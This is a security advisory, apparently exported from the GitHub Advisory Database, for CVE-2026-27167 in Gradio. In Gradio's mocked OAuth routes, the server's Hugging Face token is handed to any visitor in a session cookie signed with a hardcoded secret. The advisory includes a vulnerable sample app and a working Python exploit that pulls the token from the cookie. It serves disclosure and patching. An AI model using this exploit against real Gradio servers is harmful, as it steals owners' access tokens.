gradio
Affected
- introduced
4.16.0, fixed6.6.0(ecosystem)
Fixed versions
6.6.0
Fix
- Fixed version
6.6.0pip install --upgrade gradio==6.6.0
Advisory
Also known as: CVE-2026-27167, PYSEC-2026-63
Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.
Affected Component
gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().
Root Cause Analysis
1. Real token injected into every visitor's session
When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).
The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):
request.session["oauth_info"] = mocked_oauth_info
The mocked_oauth_info dict contains the real token at key access_token (line 329):
return {
"access_token": token, # <-- real HF token from server
...
}
2. Hardcoded session signing secret
The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"
When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string `"-v4"`, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
Attack Scenario
Prerequisites
gr.LoginButton, gr.OAuthProfile, etc.)server_name="0.0.0.0", share=True, port forwarding, etc.)OAUTH_CLIENT_SECRET is not set (default outside of Spaces)Steps
http://<target>:7860/login/huggingface/login/callbacksession cookie containing the real HF token.) to extract the access_tokenMinimal Vulnerable Application
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
Proof of Concept
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()Low Basis: The source's own band: LOW
4.16.0, fixed 6.6.0 (ecosystem)6.6.0
6.6.0pip install --upgrade gradio==6.6.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0